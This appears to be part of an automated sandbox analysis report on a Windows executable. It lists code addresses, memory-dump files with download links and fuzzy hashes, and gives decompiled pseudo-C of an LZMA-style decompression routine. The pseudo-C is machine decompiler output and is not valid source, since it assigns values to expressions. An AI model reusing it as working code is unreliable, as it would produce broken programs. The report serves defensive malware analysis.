0x004064e1
0x00406504
0x00406507
0x0040650a
0x00406514
0x004064e3
0x004064e3
0x004064e6
0x004064e9
0x004064ec
0x004064f9
0x004064fc
0x004064fc
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00000000
0x00406520
0x00406524
0x00000000
0x00000000
0x0040652a
0x0040652e
0x00000000
0x00000000
0x00406534
0x00406536
0x0040653a
0x0040653a
0x0040653d
0x00406541
0x00000000
0x00000000
0x00406591
0x00406595
0x0040659c
0x0040659f
0x004065a2
0x004065ac
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00406840
0x00406597
0x00000000
0x00000000
0x004065b8
0x004065bc
0x004065c3
0x004065c6
0x004065c9
0x004065be
0x004065be
0x004065be
0x004065cc
0x004065cf
0x004065d2
0x004065d2
0x004065d5
0x004065d8
0x004065db
0x004065db
0x004065de
0x004065e5
0x004065ea
0x00000000
0x00000000
0x00406678
0x00406678
0x0040667c
0x00406a1a
0x00000000
0x00406a1a
0x00406682
0x00406685
0x00406688
0x0040668c
0x0040668f
0x00406695
0x00406697
0x00406697
0x00406697
0x0040669a
0x0040669d
0x00000000
0x00000000
0x0040626d
0x0040626d
0x00406271
0x004069de
0x00000000
0x004069de
0x00406277
0x0040627a
0x0040627d
0x00406281
0x00406284
0x0040628a
0x0040628c
0x0040628c
0x0040628c
0x0040628f
0x00406292
0x00406292
0x00406295
0x00406298
0x00000000
0x00000000
0x0040629e
0x004062a4
0x00000000
0x00000000
0x004062aa
0x004062aa
0x004062ae
0x004062b1
0x004062b4
0x004062b7
0x004062ba
0x004062bb
0x004062be
0x004062c0
0x004062c6
0x004062c9
0x004062cc
0x004062cf
0x004062d2
0x004062d5
0x004062d8
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406304
0x00406308
0x0040630a
0x0040630e
0x004062da
0x004062da
0x004062de
0x004062e6
0x004062eb
0x004062ed
0x004062ef
0x004062ef
0x00406311
0x00406318
0x0040631b
0x00000000
0x00406321
0x00000000
0x00406321
0x00000000
0x00406326
0x00406326
0x0040632a
0x004069ea
0x00000000
0x004069ea
0x00406330
0x00406333
0x00406336
0x0040633a
0x0040633d
0x00406343
0x00406345
0x00406345
0x00406345
0x00406348
0x0040634b
0x0040634b
0x0040634b
0x00406351
0x00000000
0x00000000
0x00406353
0x00406356
0x00406359
0x0040635c
0x0040635f
0x00406362
0x00406365
0x00406368
0x0040636b
0x0040636e
0x00406371
0x00406389
0x0040638c
0x0040638f
0x00406392
0x00406392
0x00406395
0x00406399
0x0040639b
0x00406373
0x00406373
0x0040637b
0x00406380
0x00406382
0x00406384
0x00406384
0x0040639e
0x004063a5
0x004063a8
0x00000000
0x004063aa
0x00000000
0x004063aa
0x004063a8
0x004063af
0x004063af
0x004063af
0x004063af
0x00000000
0x00000000
0x004063ea
0x004063ea
0x004063ee
0x004069f6
0x00000000
0x004069f6
0x004063f4
0x004063f7
0x004063fa
0x004063fe
0x00406401
0x00406407
0x00406409
0x00406409
0x00406409
0x0040640c
0x0040640f
0x0040640f
0x00406415
0x004063b3
0x004063b3
0x004063b6
0x00000000
0x004063b6
0x00406417
0x00406417
0x0040641a
0x0040641d
0x00406420
0x00406423
0x00406426
0x00406429
0x0040642c
0x0040642f
0x00406432
0x00406435
0x0040644d
0x00406450
0x00406453
0x00406456
0x00406456
0x00406459
0x0040645d
0x0040645f
0x00406437
0x00406437
0x0040643f
0x00406444
0x00406446
0x00406448
0x00406448
0x00406462
0x00406469
0x0040646c
0x00000000
0x0040646e
0x00000000
0x0040646e
0x00000000
0x004066fb
0x004066fb
0x004066ff
0x00406a26
0x00000000
0x00406a26
0x00406705
0x00406708
0x0040670b
0x0040670f
0x00406712
0x00406718
0x0040671a
0x0040671a
0x0040671a
0x0040671d
0x00000000
0x00000000
0x004064cb
0x004064cb
0x004064ce
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00000000
0x0040680a
0x0040680e
0x00406830
0x00406833
0x0040683d
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00406840
0x00406810
0x00406813
0x00406817
0x0040681a
0x0040681a
0x0040681d
0x00000000
0x00000000
0x004068c7
0x004068cb
0x004068e9
0x004068e9
0x004068e9
0x004068f0
0x004068f7
0x004068fe
0x004068fe
0x00000000
0x004068fe
0x004068cd
0x004068d0
0x004068d3
0x004068d6
0x004068dd
0x00406821
0x00406821
0x00406824
0x00000000
0x00000000
0x004069b8
0x004069bb
0x004068bc
0x00000000
0x00000000
0x004065f2
0x004065f4
0x004065fb
0x004065fc
0x004065fe
0x00406601
0x00000000
0x00000000
0x00406609
0x0040660c
0x0040660f
0x00406611
0x00406613
0x00406613
0x00406614
0x00406617
0x0040661e
0x00406621
0x0040662f
0x00000000
0x00000000
0x00406905
0x00406905
0x00406908
0x0040690f
0x00000000
0x00000000
0x00406914
0x00406914
0x00406918
0x00406a50
0x00000000
0x00406a50
0x0040691e
0x00406921
0x00406924
0x00406928
0x0040692b
0x00406931
0x00406933
0x00406933
0x00406933
0x00406936
0x00406939
0x00406939
0x00406939
0x00406939
0x0040693c
0x0040693c
0x00406940
0x004069a0
0x004069a3
0x004069a8
0x004069a9
0x004069ab
0x004069ad
0x004069b0
0x004068bc
0x004068bc
0x00000000
0x004068c2
0x004068bc
0x00406942
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406960
0x00406963
0x0040697c
0x0040697f
0x00406982
0x00406985
0x00406989
0x0040698b
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x0040696d
0x00406972
0x00406974
0x00406977
0x00406977
0x00406992
0x00406999
0x00000000
0x0040699b
0x00000000
0x0040699b
0x00000000
0x00406637
0x0040663a
0x00406670
0x004067a0
0x004067a0
0x004067a0
0x004067a0
0x004067a3
0x004067a3
0x004067a6
0x004067a8
0x00406a32
0x00000000
0x00406a32
0x004067ae
0x004067b1
0x00000000
0x00000000
0x004067b7
0x004067bb
0x004067be
0x004067be
0x004067be
0x00000000
0x004067be
0x0040663c
0x0040663e
0x00406640
0x00406642
0x00406645
0x00406646
0x00406648
0x0040664a
0x0040664d
0x00406650
0x00406666
0x0040666b
0x004066a3
0x004066a3
0x004066a7
0x004066d3
0x004066d5
0x004066dc
0x004066df
0x004066e2
0x004066e2
0x004066e7
0x004066e7
0x004066e9
0x004066ec
0x004066f3
0x004066f6
0x00406723
0x00406723
0x00406726
0x00406729
0x0040679d
0x0040679d
0x0040679d
0x00000000
0x0040679d
0x0040672b
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673d
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x00406765
0x00406767
0x0040676a
0x0040676b
0x0040676e
0x00406770
0x00406773
0x00406775
0x00406777
0x0040677a
0x0040677c
0x0040677f
0x00406783
0x00406785
0x00406785
0x00406786
0x00406789
0x0040678c
0x0040674e
0x0040674e
0x00406756
0x0040675b
0x0040675d
0x00406760
0x00406760
0x0040678f
0x00406796
0x00406720
0x00406720
0x00406720
0x00406720
0x00000000
0x00406798
0x00000000
0x00406798
0x00406796
0x004066a9
0x004066ac
0x004066ae
0x004066b1
0x004066b4
0x004066b7
0x004066b9
0x004066bc
0x004066bf
0x004066bf
0x004066c2
0x004066c2
0x004066c5
0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x004063b9
0x004063b9
0x004063bd
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x00000000
0x00000000
0x00406544
0x00406544
0x00406548
0x00406a0e
0x00000000
0x00406a0e
0x0040654e
0x00406551
0x00406554
0x00406557
0x00406559
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657a
0x0040657d
0x0040657f
0x0040657f
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00406582
0x00406582
0x00000000
0x00406582
0x00406803
0x00406a38
0x00000000
0x00000000
0x00406067
0x00406a6f
0x00406a6f
0x00000000
0x00406a6f
0x004068bc
0x00406843
0x00406840
0x00000000
0x00406477

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17d2eea9f7cdce8bc4a623307af2d8c55e83d6c30150793070c9d330b5787031
Instruction ID: ed496f49c15cb1a0cee1f91230a4d4bd76d3fd25087baa69d2252d5f7e71f344
Opcode Fuzzy Hash: 17d2eea9f7cdce8bc4a623307af2d8c55e83d6c30150793070c9d330b5787031
Instruction Fuzzy Hash: 30713271E00228CFDF28DFA8C8547ADBBB1FB44305F15806AD906BB281D7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406591, Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406591() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M00406A77))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4)); // executed
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8)); // executed
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
